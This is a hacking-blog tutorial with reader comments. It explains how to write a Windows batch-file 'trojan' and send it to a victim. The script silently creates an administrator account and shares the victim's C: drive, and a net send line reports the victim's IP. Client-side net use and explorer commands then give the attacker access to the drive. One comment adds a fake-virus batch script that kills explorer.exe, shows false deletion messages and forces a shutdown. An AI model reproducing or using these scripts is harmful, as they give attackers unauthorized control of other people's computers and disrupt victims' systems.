Pin It

How to Create a trojan in .bat file


A Trojan, sometimes referred to as a Trojan horse, is non-self-replicating malware that appears to perform a desirable function for the user but instead facilitates unauthorized access to the user's computer system.
In this post i will tell you How to create your own trojan horse in a .bat file,Helping you to hack into another persons computer.I had previously  posted a tutorial on How to sent a trojan as a txt file but this post will explain you creating a Trojan in a .bat file to infect a Remote computer.

Creating a Trojan in a .bat file - Procdure

1.Go to start and click on run and type cmd

2.Now insert this command: net

And you will get something like this

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?
Bat file is a piece of text that windows will execute as commands.

Open notepad and write there:


dir
pause


And now save this as test.bat and execute it.

---------------------- Starting -------------------
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.

Depending on the windows version the name will be different.

If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know which version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

-----------------------: Client :----------------
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access. 


Hope you  liked the post! Pass the comments


Subscribe to our Newsletter and receive updates directly via email - Get Ethical hacking and security tips directly to your inbox. Alternatively you can Join our Hackers Community on Facebook , Google+ and Twitter .
Subscribe to RHA


Enjoyed this article?
Subscribe to "Rafay Hacking Articles" and get daily updates in your inbox for free!


Tags:


Kindly Bookmark it and Share it with Friends:

26 comments :

Anonymous said...

how do you post the commands to the .bat file?

Anonymous said...

hey will it send the ip msg.....
pls tell me

Rafay Baloch on March 4, 2010 at 10:37 PM said...

@Anonymous
Make sure that you are following the steps correctly

wasif on May 10, 2010 at 1:45 AM said...

Hey ! Rafay u r great .....but can u tell me how u put that subscribe to learn hacking in ur blog

Rafay Baloch on May 17, 2010 at 1:45 AM said...

@Wasif
Hi wasif,you can subscribe with the form given at the top

Anonymous said...

hey rafay nice sharing but after runing all those comands on my comand propmt for testing, it actually created an account in my own pc, so now can u tell me how to remove that new adiministrative aaccount?????

Anonymous said...

sup man i am a huge fan Ive read almost every post and Ive learned a lot. i would just like to say that on xp this works great, but commands 1 and 2 on the BAT don't work on win7(its been blocked. just thought id let ya know. but to tell ya the truth ya dont need those command if ur on the same network(so it works great in the work place and hotel and such)

amrit on July 7, 2010 at 4:07 PM said...

ya everything fine but main thing is that where i will get message or other person ip with ........?

engineer said...

hey man... superb work up there......
but i didnt get much of that........
i wanna learn hacking for fun reason and ethical reasons... bt i wanna know a lot........
could u pls help me with that.......
is there any buk that can really serve the purpose 'coz i know nothing abt hacking................
anyways gud work,,,,
keeo it up..................

c0ld sn1ff3r said...

What if I have a dynamic IP? And it changes every time I connect to the internet?

Anonymous said...

Can you make a video ?

Anonymous said...

First let me say, I'm an idiot. I don't know shit. However, my problem is when I enter the second command in the dos prompt I get an error saying "the local group does not exist" even if I have made my own network. What could cause that?

RobertLangdon on January 10, 2011 at 6:57 AM said...

i have adsl with default ip adress...and all people in the city have that internet...can u help me???

Anonymous said...

rafay it isnt workin on win7 plz help me

Anonymous said...

Hi,

I did this on my computer and ran the batch file, just to see what it would do. Now, I was wondering; how do I stop sharing my C: drive? Please help!

hehe said...

the last one i fail, it says the path //victimip is not a directory

Anonymous said...

You should create a video! i dont understand the "net send 'ur ip' I am ur server" explanation?

noel on April 16, 2012 at 1:54 PM said...

do you use internal or external ip

Anonymous said...

to Anonymous said... 6
you can write net user neo /delete
to remove the user account you have created earlier.
or you can go to control panel -> user accounts and remove the account

Anonymous said...

Can't access all the files on the infected computer, why?

Anonymous said...

how do I remove the net share command?

Anonymous said...

To stop share the C drive write this in cmd: net share C:\ /delete

Anonymous said...

I wrote this one and tested but didn't work. can anyone help?
cls
:A
color 0a
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep3000.vbs
echo Deleting Critical System Files...
echo del *.*
start /w wscript.exe C:sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition...
start /w wscript.exe C:sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x...
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1...
start /w wscript.exe C:sleep3000.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
echo Disabling Windows Firewall...
start /w wscript.exe C:sleep2000.vbs
echo Killing all processes...
start /w wscript.exe C:sleep2000.vbs
echo Allowing virus to boot from startup...
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep2000.vbs
pause
shutdown -f -s -c "Your computer has committed suicide. Have a nice day."

== Method No. 2 ==
Cause explorer.exe to stop
cls
color 0a
@echo off
title Internet Virus
echo.
echo Your PC has just recieved a virus from internet
echo.
echo Please don't try to exit.
echo.
echo Windows will automatically fix the virus...
echo.
echo Exiting this virus can cause severe harm to your computer
echo.
echo So please wait till the process ends
echo.
echo Collecting Information...
echo Collecting Information 50/100
echo Collecting Information Completed
echo.
echo Starting.......
echo.
echo Started
pause
echo.
:Start
echo Backing up your data to protect windows....
echo.
echo Backup Successful
pause
echo.
echo Creating list of files to be corrupted
echo explorer.exe
echo dxdiag
echo system32
echo run.exe
echo msoobe.exe
echo ncpa.cpl
echo windows (system files)
echo winupdate.exe
echo clock.bin
echo drivers.dll
pause
echo.
echo Starting Corrupting windows....
echo.
echo Service Started
echo.
echo Deleting File 1/10 explorer.exe
taskkill /f /im explorer.exe
echo.
echo Deleting File 2/10 dxdiag
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 3/10 system32
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 4/10 run.exe
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 5/10 msoobe.exe
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 6/10 ncpa.cpl
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting File 7/10 windows (system files)
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 8/10 winupdate.exe
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 9/10 clock.bin
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Deleting file 10/10 drivers.dll
echo Sucess..!!! File with the above name has been deleted sucessfully..!!
echo.
echo Wait...
echo.
echo Loading....
echo.
echo Windows file deletion completed successfully
echo.
pause
echo Windows has been sucessfully corrupted....virus.bat installed
echo.
echo To restore windows press any key
pause
echo.
echo All files have been successfully corrupted and your OS is open for remote access
echo Thanks for opening this file (your computer has been access)
explorer.exe
exit

romulo nascimento on February 20, 2013 at 4:38 PM said...

so i done it and a cmd screen opened up real quick and then closed did it work or not?

romulo nascimento on February 20, 2013 at 4:40 PM said...

so i done it and then i ran it all that happened was a cmd screen pop'ed up and then disapeared real quick did it work?

Anonymous said...

Wow that worked , shot bro !!

Dare to ask? :)

Blog Archive

 

Recent Comments

About

Rafay Baloch is an Independent security researcher, Internet marketer, Entrepreneur and a SEO consultant, He is the founder of RHA blog and multiple other blogs. Rafay got famous after finding a Remote Code Execution bug inside PayPal for which PayPal awarded him a sum of 10,000$ Read More..

Join In!

RHA © 2013. All Rights Reserved.